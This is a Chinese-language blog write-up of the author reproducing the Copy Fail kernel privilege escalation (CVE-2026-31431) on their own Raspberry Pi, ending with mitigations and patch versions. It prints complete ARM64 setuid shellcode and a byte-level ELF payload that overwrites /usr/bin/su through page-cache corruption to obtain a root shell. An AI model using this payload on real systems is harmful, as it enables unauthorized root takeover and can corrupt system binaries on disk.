1871 字
9 分钟
732 字节提权:在树莓派上复现 Copy Fail 漏洞(CVE-2026-31431)

那天晚上刷安全新闻看到 CISA 把 CVE-2026-31431 加进了 KEV(Known Exploited Vulnerabilities)目录,联邦机构被要求 5 月 15 日前打补丁。一个 CVSS 7.8 的本地提权,影响 2017 年以来几乎所有 Linux 内核。

我看了一眼家里那台树莓派——Debian Bookworm,内核 6.12.62,RPi 上游还没出补丁。

得试试。

Copy Fail 是什么#

Copy Fail 的根因是 2017 年合入的一个性能优化(commit 72548b093ee3),改动在 algif_aead.c,让 AEAD 加解密操作走 in-place 路径来省一次内存拷贝。

问题出在 authencesn(Authenticated Encryption with ESN)模板的解密路径。当输入通过 splice() 系统调用送进来时,socket 的输入 scatterlist 直接持有的是内核页缓存中对应文件的页面引用——不是副本,是引用。

然后 AEAD 解密过程中,scatterwalk_map_and_copy 写入 tag 时,会沿着 scatterlist 一路走到那些页缓存页面上,完成一次 4 字节的精确写入。攻击者控制 assoclencryptlen 和 splice 的偏移量,就能精确控制写入文件页缓存的哪 4 个字节以及写什么值

整条链路:

  1. 打开一个 AF_ALG socket,绑定 authencesn(hmac(sha256),cbc(aes))
  2. splice() 把目标文件(比如 /usr/bin/su)的内容零拷贝送进 socket
  3. 内核 AEAD 解密时把 tag 写到了页缓存里——4 字节精确覆写
  4. 执行被污染的 setuid 二进制 → root

关键点:AF_ALG socket 不需要任何特权,任何用户都能打开。splice() 走零拷贝路径所以页面是引用而非副本。两个无害的内核接口组合在一起就炸了。

环境侦察#

目标是家里的树莓派(Debian 12 Bookworm, aarch64),通过 Tailscale 连接。

先看内核版本和模块状态:

Terminal window
$ uname -r
6.12.62+rpt-rpi-v8
$ lsmod | grep algif
algif_hash 12288 1
algif_skcipher 12288 1
af_alg 28672 6 algif_hash,algif_skcipher

内核 6.12.62,RPi 上游定制版,编译日期 2026-01-19。Debian Bookworm 的修复版本是 6.1.170-1(Bookworm 跟的是 6.1.x LTS 分支),但 RPi 内核走自己的 rpt fork,截至 2026 年 5 月初 stable apt 源里还没有补丁。

algif_aead 没有加载,但模块文件存在:

Terminal window
$ find /lib/modules/$(uname -r) -name "algif_aead*"
/lib/modules/6.12.62+rpt-rpi-v8/kernel/crypto/algif_aead.ko.xz

内核会在用户程序 bind()"aead" 类型时自动加载这个模块。Python 3.11.2 带 os.splice 支持,setuid 二进制一应俱全:

Terminal window
$ python3 -c "import os; print(hasattr(os, 'splice'))"
True
$ find /usr/bin -perm -4000 -type f | head -5
/usr/bin/mount
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/su
/usr/bin/passwd

结论:可利用

第一次翻车:x86 payload 跑在 ARM64 上#

Theori/Xint 的官方 PoC(copy_fail_exp.py)里内嵌了一段 zlib 压缩的 payload,解压后是一个最小化的 x86_64 ELF——setuid(0) + execve("/bin/sh")。exploit 会把这段 ELF 逐 4 字节写入 /usr/bin/su 的页缓存头部,替换掉原始的 ELF header 和代码段。

创建了一个无特权用户 testuser,直接跑原版 PoC:

Terminal window
testuser@raspberrypi:~$ python3 /tmp/copy_fail_exp.py
sh: 1: su: Exec format error

Exec format error。漏洞本身生效了——页缓存确实被污染了——但写进去的是 x86_64 机器码,ARM64 内核根本没法执行。

这时候犯了第一个错误。

drop_caches 的坑:脏页会先写回磁盘吗?#

想着清理一下被污染的页缓存,于是:

Terminal window
$ echo 3 | sudo tee /proc/sys/vm/drop_caches

然后检查 /usr/bin/su

Terminal window
$ file /usr/bin/su
/usr/bin/su: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
statically linked, no section header

坏了。磁盘上的 /usr/bin/su 也变成 x86-64 了。dpkg -V util-linux 确认校验和不匹配。

怎么回事?

翻了内核文档,drop_caches 本身不会主动写回脏页——它只释放干净的页缓存。但问题是,exploit 通过 scatterwalk_map_and_copy 修改页面后,这些页面被标记为脏页。内核的 writeback daemon(pdflush / flush-* 线程)会在后台周期性地把脏页写回磁盘。

也就是说,在我执行 drop_caches 之前,writeback daemon 大概率已经把被污染的页面刷到了磁盘上。drop_caches 只是把缓存里的干净副本丢掉了,磁盘上的文件早就被改了。

CVE 描述的误导

很多文章说 Copy Fail “只影响页缓存,磁盘文件不受影响,sha256sum 看不到变化”。这话只在一个很短的时间窗口内成立——从页缓存被污染到 writeback daemon 下一次刷盘之间。在实际环境中,脏页终究会被写回磁盘

修复:重装 util-linux 包恢复原始二进制。

Terminal window
$ sudo apt-get install --reinstall -y util-linux
$ file /usr/bin/su
/usr/bin/su: setuid ELF 64-bit LSB pie executable, ARM aarch64, version 1 (SYSV),
dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, ...

恢复了。这次先备份再动手。

适配 ARM64 payload#

原版 PoC 的核心机制——AF_ALG socket + splice() 页缓存污染——是架构无关的。需要换的只是写入的 ELF payload。

目标:构造一个最小的 ELF64 aarch64 静态可执行文件,执行 setuid(0) + execve("/bin/sh", NULL, NULL)

构造 shellcode#

ARM64 的 syscall 约定:x8 = syscall number,x0-x5 = 参数,svc #0 触发。

mov x8, #146 ; __NR_setuid
mov x0, #0 ; uid = 0
svc #0 ; setuid(0)
mov x8, #221 ; __NR_execve
adr x0, binsh ; path = "/bin/sh" (PC-relative)
mov x1, #0 ; argv = NULL
mov x2, #0 ; envp = NULL
svc #0 ; execve(...)
binsh:
.ascii "/bin/sh\0"

8 条指令 + 8 字节字符串 = 40 字节。

打包成最小 ELF#

ELF64 header 64 字节 + 一个 PT_LOAD program header 56 字节 + 40 字节 shellcode = 160 字节

copy_fail_arm64.py (核心部分)
elf = (
# ELF header (64 bytes)
b'\x7fELF\x02\x01\x01\x00' + b'\x00' * 8 +
b'\x02\x00\xb7\x00\x01\x00\x00\x00' + # ET_EXEC, EM_AARCH64
b'\x78\x00\x40\x00\x00\x00\x00\x00' + # entry: 0x400078
b'\x40\x00\x00\x00\x00\x00\x00\x00' + # phoff: 64
b'\x00' * 8 + # shoff: 0
b'\x00\x00\x00\x00\x40\x00\x38\x00' +
b'\x01\x00\x00\x00\x00\x00\x00\x00' +
# Program header - PT_LOAD R|X (56 bytes)
b'\x01\x00\x00\x00\x05\x00\x00\x00' +
b'\x00' * 8 +
b'\x00\x00\x40\x00\x00\x00\x00\x00' * 2 + # vaddr = paddr = 0x400000
b'\xa0\x00\x00\x00\x00\x00\x00\x00' * 2 + # filesz = memsz = 160
b'\x00\x10\x00\x00\x00\x00\x00\x00' + # align: 0x1000
# Shellcode (40 bytes)
b'\x48\x12\x80\xd2' # mov x8, #146
b'\x00\x00\x80\xd2' # mov x0, #0
b'\x01\x00\x00\xd4' # svc #0
b'\xa8\x1b\x80\xd2' # mov x8, #221
b'\x80\x00\x00\x10' # adr x0, .+16
b'\x01\x00\x80\xd2' # mov x1, #0
b'\x02\x00\x80\xd2' # mov x2, #0
b'\x01\x00\x00\xd4' # svc #0
b'/bin/sh\x00'
)

exploit 的核心函数 w(fd, off, val) 不变——对每个 4 字节 chunk,创建 AF_ALG socket、splice() 目标文件、触发 AEAD 解密写入。总共 40 次写入(160 / 4),覆盖 /usr/bin/su 的头 160 字节。

执行结果#

Terminal window
testuser@raspberrypi:~$ python3 /tmp/copy_fail_arm64.py
[*] 160/160
[+] done, spawning shell...
# whoami
root

从一个无 sudo 权限的普通用户,通过页缓存污染拿到了 root shell。

整个过程:

  1. 以只读方式打开 /usr/bin/suO_RDONLY,不需要写权限)
  2. 40 次 AF_ALG + splice 操作,把 160 字节的 ARM64 ELF 写入页缓存
  3. 执行被污染的 su——内核看到 setuid bit,以 root 身份执行我们的 shellcode
  4. shellcode 调用 setuid(0) + execve("/bin/sh") → root shell

缓解措施#

RPi 上游内核短期内不会修。在补丁到来之前,最有效的缓解是禁用 algif_aead 模块:

Terminal window
echo 'install algif_aead /bin/false' | sudo tee /etc/modprobe.d/disable-algif-aead.conf
sudo modprobe -r algif_aead

这让 modprobe 在加载 algif_aead 时执行 /bin/false(即失败),AF_ALG socket 绑定 "aead" 类型会报错,整条攻击链断掉。

对于有补丁的发行版:

发行版修复版本
Debian 12 (Bookworm)kernel 6.1.170-1
Debian 13 (Trixie)kernel 6.12.85-1
Ubuntu2026-05-01 起陆续推送
RHEL / AlmaLinux 8kernel-4.18.0-553.121.1
Amazon Linux 2023已修复

几个值得记住的点#

页缓存污染不是”只在内存里”。 writeback daemon 会定期把脏页刷回磁盘。想用 drop_caches 清理反而可能加速这个过程(sync + drop_caches 的常见用法会先 sync,那就直接把脏数据落盘了)。做安全测试前一定要备份目标文件

架构适配是 exploit 移植的核心工作。 漏洞机制是通用的,但 payload 必须匹配目标架构。一个 x86 的 ELF 在 ARM64 上只会 ENOEXEC。需要重新编码 ELF header(EM_AARCH64 = 0xB7)、shellcode(ARM64 指令集 + syscall 号),以及调整 PC 相对寻址。

AF_ALG 是一个被低估的攻击面。 它把内核密码学子系统暴露给无特权用户空间,9 年没人注意到这个 in-place 优化引入的 bug。如果你的服务器不需要用户态加解密,直接 blacklist algif_* 系列模块能收窄不少攻击面。

732 字节提权:在树莓派上复现 Copy Fail 漏洞(CVE-2026-31431)
https://blog.lishuyu.top/posts/copy-fail-arm64/
作者
猫猫魔女
发布于
2026-05-07
许可协议
CC BY-NC-SA 4.0